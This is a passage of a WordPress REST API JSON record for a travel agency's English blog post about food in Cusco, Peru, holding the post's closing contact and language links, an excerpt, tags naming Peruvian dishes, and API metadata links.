destinations. <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\">Contact us right <\/a><\/strong>away to start your adventure in Peruvian lands. We are waiting for you!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cusco, the city where this blog is written, is popular for its sites, attractions, museums, and Machu Picchu. Due to Cusco\u2019s popularity in these fields, some people may think that food is not a \u201ccusque\u00f1os\u201d (Cusco citizens&#8217;) strong point.<\/p>\n<p>That\u2019s why we\u2019ll show you the opposite in the following lines, about our delicious food and why you must try them when in the ancient capital of the Incas.<\/p>\n","protected":false},"author":1,"featured_media":7983,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,194,1850,1],"tags":[1933,950,1928,1267,1754,1929,1913,1145,1930,723,1907,1935,1932,1658,1934,1465,1931],"class_list":["post-7965","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-destinations","category-food","category-sem-categoria","tag-al-horno","tag-chicha-morada","tag-corpus-christi","tag-guinea-pig","tag-ll-find","tag-meat-and-vegetable","tag-peruvian-dishes","tag-peruvian-food","tag-pig-chicken","tag-plaza-de-armas","tag-purple-corn","tag-quinoa-soup","tag-rocoto-relleno","tag-sacred-valley","tag-sopa-de","tag-south-america","tag-traditional-dish"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia-Peruana-14.jpg?fit=1080%2C1080&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-24t","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7965","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=7965"}],"version-history":[{"count":21,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7965\/revisions"}],"predecessor-version":[{"id":17022,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7965\/revisions\/17022"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/7983"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=7965"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=7965"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=7965"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}